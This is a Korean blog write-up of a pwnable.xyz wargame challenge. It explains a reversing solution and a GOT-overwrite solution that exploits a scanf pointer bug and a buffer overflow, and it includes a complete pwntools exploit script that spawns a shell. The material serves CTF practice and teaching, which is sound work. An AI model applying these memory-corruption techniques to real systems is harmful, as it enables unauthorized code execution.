두 가지 풀이가 있다. 암호화 루틴을 리버싱하는 방법이 있고, 다른 하나는 GOT overwrite로 플래그를 가져오는 방법이다.
Exploit: Reversing
auth 함수에서 입력한 name 문자열을 비교한다. s1 암호화 과정을 역연산해서 원래의 문자열을 알아낼 수 있다.
|
for ( i = 0; i <= 0x1F; ++i )
s1[i] = ((a1[i] >> 4) | 16 * a1[i]) ^ *(main + i); return strncmp(s1, &s2, 0x20uLL) == 0; |
각각의 바이트에 대해서, 상위 4비트와 하위 4비트를 서로 바꾼 뒤 main[i] 와 xor하고 결과를 s2 와 비교한다.
s2 에 대해서 main[i] 와 xor한 뒤 상/하위 4비트를 서로 바꿔주면 적절한 입력값을 찾을 수 있다.
Exploit: Pwn
age 를 입력받는 부분에서 이상한 점이 보인다.
|
if ( menu == 3 )
{ printf("age: "); __isoc99_scanf("%d", age); } |
scanf 에서 인자로 age 의 주소가 아니라 age 자체를 주고 있다. 이 경우 age 가 가리키는 위치에 4바이트를 쓸 수 있기 때문에, age 를 조작할 수 있다면 (거의) 원하는 위치에 값을 쓸 수 있게 된다. (%d는 4바이트를 입력받기 때문에 앞 4바이트가 0인 주소에 대해서만 가능하다)
age 는 nationality 를 입력받을 때 overflow로 변경할 수 있다.
|
char nationality[16]; // [rsp+30h] [rbp-20h]
__int64 age; // [rsp+40h] [rbp-10h] ... printf("nationality: "); __isoc99_scanf("%24s", nationality); |
nationality 는 크기 16인 배열이지만 길이 24로 입력받기 때문에 age 를 덮어씌울 수 있다.
age 에 함수의 GOT 주소값을 쓰고 age 를 입력할 때 win 의 주소를 써 주면 된다. 하지만 이미 한 번 이상 사용된 함수의 경우 GOT가 libc로 연결되어 있기 때문에, overwrite를 하는 시점에서 GOT의 상위 4바이트가 0x7FFF이 되어 있다는 점에 유의해야 한다. GOT overwrite 직전까지 사용되지 않는 함수는 strncmp(0x603018), puts(0x603020), exit(0x603078) 이 있는데, puts 의 0x20 바이트는 공백(Space)으로 scanf 에서 입력할 수 없기 때문에 사용이 불가능하다.
strncmp 를 덮는 경우 4번 메뉴에서 해당 함수를 실행시켜야 하며 exit 를 덮는 경우 SIGALRM 을 받기 위해 60초를 기다려야 한다.
|
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 |
from pwn import *
import argparse def log_info(string) : sys.stderr.write(u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m {s}\n'.format(s=string)) def log_error(string) : sys.stderr.write(u'\u001b[37;1m[\u001b[31m-\u001b[37;1m]\u001b[0m {s}\n'.format(s=string)) def ChangeName(name:bytes) : p.writelineafter(b'> ', b'1') p.writelineafter(b': ', name) def ChangeNationality(nationality:bytes) : p.writelineafter(b'> ', b'2') p.writelineafter(b': ', nationality) def ChangeAge(age:int) : p.writelineafter(b'> ', b'3') p.writelineafter(b': ', str(age).encode()) def GetShell() : p.writelineafter(b'> ', b'4') def exploit1() : xor_key = '55 48 89 E5 48 83 EC 50 64 48 8B 04 25 28 00 00 00 48 89 45 F8 31 C0 E8 24 FE FF FF 48 8D 45 C0'.split() enc = '11 DE CF 10 DF 75 BB A5 43 1E 9D C2 E3 BF F5 D6 96 7F BE B0 BF B7 96 1D A8 BB 0A D9 BF C9 0D FF'.split() dec = [] for i in range(32) : k = int(xor_key[i], 16) e = int(enc[i], 16) dec.append((((e^k)>>4) | ((e^k)<<4)) & 0xFF) ChangeName(bytes(dec)) GetShell() p.interactive() def exploit2() : payload = b'A'*0x10 payload += p64(0x603018) # strncpy@got ChangeNationality(payload) ChangeAge(0x40099C) # win GetShell() p.interactive() if __name__ == '__main__' : parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') parser.add_argument('-s', '--solve', type=int, help='select solving method') args = parser.parse_args() if args.remote : p = remote('svc.pwnable.xyz', 30031) else : p = process('./challenge') try : exploit = eval('exploit{}'.format(args.solve)) except : args.solve = 1 log_error('invalid option: \'solve\'') finally : exploit = eval('exploit{}'.format(args.solve)) log_info('Exploit method: {} ({})'.format(args.solve, ['Reversing', 'GOT overwrite'][args.solve-1])) exploit() |

Last update: 10/23/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
| pwnable.xyz / TLSv00 (0) | 2020.01.13 |
|---|---|
| pwnable.xyz / Free Spirit (0) | 2020.01.13 |
| pwnable.xyz / xor (0) | 2020.01.13 |
| pwnable.xyz / note (0) | 2020.01.13 |
| pwnable.xyz / GrownUp (0) | 2020.01.13 |